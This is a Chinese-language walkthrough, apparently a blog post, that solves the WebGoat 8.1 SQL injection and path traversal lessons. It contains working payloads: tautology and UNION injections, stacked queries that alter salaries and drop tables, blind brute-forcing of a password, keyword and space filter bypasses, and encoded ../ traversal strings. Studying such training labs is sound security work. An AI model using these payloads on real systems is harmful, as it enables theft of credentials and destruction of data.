WebGoatV8.1(A1Injection)详细过关教程

一、SQL Injection (intro)

1.What is SQL?

 

题目让我们查找Bob Franco的部门

 基本的sql的查询语句:select 查询的字段 from 表名 where 筛选条件 order by 分组 having 再次筛选 limit 限制一次输出数据的条数;(;是sql语句结束的标志)

select department from employees where userid='96134';

2. Data Manipulation Language (DML)

 数据更新语句的语法:update 表名 set 需要修改的字段=新的数据 where 筛选条件;

update employees set department= 'Sales' where userid=89762;

 3.Data Definition Language (DDL)

题目是让我们在表上添加一个字段,就是修改表的意思

 修改表的语句语法:alter table 表名 add/drop 字段名 字段类型;

alter table employees add phone varchar(20);

4.Data Control Language (DCL) 

权限控制语句语法:grant 权限 on 数据库名.表名 to 用户名;

GRANT ALTER TABLE TO UnauthorizedUser

5.Try It! String SQL injection 

sql注入的初体验,构成sql注入的主要的原因是有客户端可控的变量,且这个变量直接拼接到将要执行的sql语句中。

sql注入的构造恶意的步骤是先完成前面语句的闭合(也就是语句逻辑要合理),后进行想要的操作语句的构造

 简单的看一下这个sql语句在变量前面是有'的说明是一个字符型我们需要加入'进行闭合,同理语句最后也有'也需要闭合,因为题目需要我们查询整个表所有中间用or ,or语句前后一真为真所有后面接的是1=1

Smith' or '1'='1

6.Try It! Numeric SQL injection

先看题目需要我们获得表的所有数据

"SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = " + User_ID; 

分析sql语句,只是简单的拼接,而且拼接的地方是where,也就是筛选的地方,我们只需要把他们很成立就可以了(or 1=1)而且拼接的参数是个数字型不需要闭合,不过这里如果是在Login_Count这里进行注入的话我们需要用到注释符(#或者--+)将后面的语句进行一个注释(也就是不执行),不过不知道为什么这里这里不能在Login_Count进行注入

7.Compromising confidentiality with String SQL injection

"SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "';

分析sql语句,也是普通的拼接但是这里是用单引号包住参数(字符型)所以我们注入的时候需要用单引号进行闭合,而正常拼接的时候参数后会拼接一个单引号,我们也需要进行闭合如:'or '1'='1这样的语句可以进行闭合,或者简单粗暴一点就是直接注释后面的语句

qwe' or 1='1
qwe' or 1=1 --+

8.Compromising Integrity with Query chaining

题目这次不是让我们查询表那么简单而是进行修改,但是看这个表格来说拼接的语句用的是select也就是查询语句,我们需要用update语句的话这里需要用到堆叠注入。

堆叠注入:就是sql语句以;为结束,而且sql语句允许我们一次性输入多句sql语句一起执行,通俗的解释一次执行多句sql语句的注入就是堆叠注入

payload(在name输入或者tan都可以)
#首先我们需要知道表的大致信息
qwe'or 1=1--+

#知道字段名和信息开始构造语句
qwe';update employees set SALARY=999999999 where USERID=37648--+

9.Compromising Availability

我们上一关的操作被记录到access_log表里面,所以我们需要去删除access_log表

 分析:这里也是查询语句,我们需要进行删除操作所以需要堆叠注入。而且他提示了是字符串这里很有可能是用单引号或者双引号闭合

删除语句语法:drop table 表名;

1';drop table access_log;--+

二、SQL Injection (advanced) 

1.Try It! Pulling data from other tables

这关有两个要求一个是获取当前表的数据,一个是获取戴夫的密码

1.获取当前表的所有数据,直接闭合加or 1=1
name:
1' or 1=1--+

#在爆出来的数据里面似乎找不到我们想要的信息,我们需要查询另一个表这里有两种方法union注入和堆叠注入

union注入(首先union select使用的前提是知道前面的select语句查询的字段长度正常可以使用order by来判断,这里是7,这里有对输出的数据类型有检测,使用需要对照前面爆的表的类型对照写入)
1' union select 1,user_name,password,'1','2','3',4 from user_system_data--+

堆叠注入
1' ; select user_name,password from user_system_data;--+

2.Can you login as Tom?

摸索一下,登录框找不到注入点(只是用来验证我们的密码是否正确而已),在注册这里找注入点

username:tom
#User tom already exists please try to register with a different username.

username:tom'or 1=1--+
#User {0} already exists please try to register with a different username.
这里的报错提示我们username这里有注入点

 为了方便直接用burpsuit

因为有提示所以尝试使用布尔型盲注
username_reg=tom'and+1=1--+   #User {0} already exists
username_reg=tom'and+1=2--+   #User tom'and 1=2--+ created 可以使用

猜测密码的字段名password passwd pwd都有可能
username_reg=tom'and length(password)>0--+   #User {0} already exists 猜中了

接下来是爆破密码substr是在password字段的第几位取几个字母
username_reg=tom'and substr(password,1,1)=''--+

字典用的是大小写a-z 线程3(太高会报错) ,手动改substr()里面的第二个参数

最后爆破出来的结果:thisisasecretfortomonly

 三、SQL Injection (mitigation)

1.Try it! Writing safe code

第一建立连接,第二构造sql语句用?占位,第三拼接完整sql语句

2.Try it! Writing safe code

String name="admin";
try{
    Connection conn=DriverManager.getConnection(DBURL,DBUSER,DBPW);
    PreparedStatement ps=conn.prepareStatement("select * from users where name=?");
    ps.setString(1,name);
    ResultSet result=ps.executeQuery();
    System.out.println(result.next());
} catch (Exception e) {
    System.out.println("Oops, Something went wrong!");
}

3.Input validation alone is not enough!!

先输入
1'or 1=1--+
#提示说空格不能使用,那我们使用+或者/**/代替空格
1'or+1=1--+
1'or/**/1=1--+

union查询
1'/**/union/**/select/**/1,user_name,password,'1','2','3',4/**/from/**/user_system_data--+
堆叠查询
1'/**/;/**/select/**/user_name,password/**/from/**/user_system_data;--+

4.Input validation alone is not enough!! 

一样过滤了空格先用/**/代替空格
1'oR/**/1=1--+

带入上一关的进去看看
1'/**/union/**/select/**/1,user_name,password,'1','2','3',4/**/from/**/user_system_data--+
#发现执行的sql语句中select和from被直接去掉了,试一试双写绕过(因为代码只对语句进行一次过滤)

1'/**/union/**/selselectect/**/1,user_name,password,'1','2','3',4/**/frfromom/**/user_system_data--+     #成功

1'/**/;/**/seselectlect/**/user_name,password/**/frfromom/**/user_system_data;--+    #成功

5.List of servers

这里是对order by 的位置进行注入,点排序的地方进行抓包

(CASE WHEN 1=1 THEN ip ELSE hostname END)

 返回结果都是一样说明存在注入点

 传入一个错误的payload进行报错得到表名是servers

构造数据的读取语句然后继续爆破
(CASE WHEN substr((select ip from servers where hostname='webgoat-prd'),1,1)='1' THEN ip ELSE hostname END)

 一个个查看回应包,成功排序的说明是我们需要的数值,因为只需要前三位所以只用进行三次爆破,爆破结果是:104

四、Path traversal

1.Path traversal while uploading files

点一下头像选一个文件上传,点了update发现回显,我们full name输入的也是test说明可能是创建一个我们输入的为名字的文件夹。

Profile has been updated, your image is available at: /root/.webgoat-8.1.0/PathTraversal/qweqwe/test"

构造payload,并随便上传一个文件

../test

2.Path traversal while uploading files

这题和上一题差不多直接上上一关的payload,发现用不了,可能是过滤了../

Profile has been updated, your image is available at: /root/.webgoat-8.1.0/PathTraversal/qweqwe/test"

我们尝试双写绕过,成功绕过

..././test

 

3.Path traversal while uploading files

这一题上传的时候发现是上传文件到服务端,似乎和full name没什么关系,因为上传的文件名字没变,那可以试一下抓包直接修改文件的名字

../1.txt

4.Retrieving other files with a path traversal 

题目是让我们找到这个path-traversal-secret.jpg图片

抓包随机一张照片,进行重放,回应包的url上面带有参数

我们构造一下进行请求 ,发现请求的参数会拼接一个后缀,那就是直接上传文件名就可以

直接传参id=../path-traversal-secret 回应包说是非法字符,那我们可以使用编码绕过

 id=%2e%2e%2fpath-traversal-secret,回应包是没找到,那就继续去上一层文件寻找

 id=%2e%2e%2f%2e%2e%2fpath-traversal-secret,找到了

 根据提示需要我们提交我们用户名的sha512的哈希值

 

以上就是A1Injection的全部内容过关教程

 

 

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值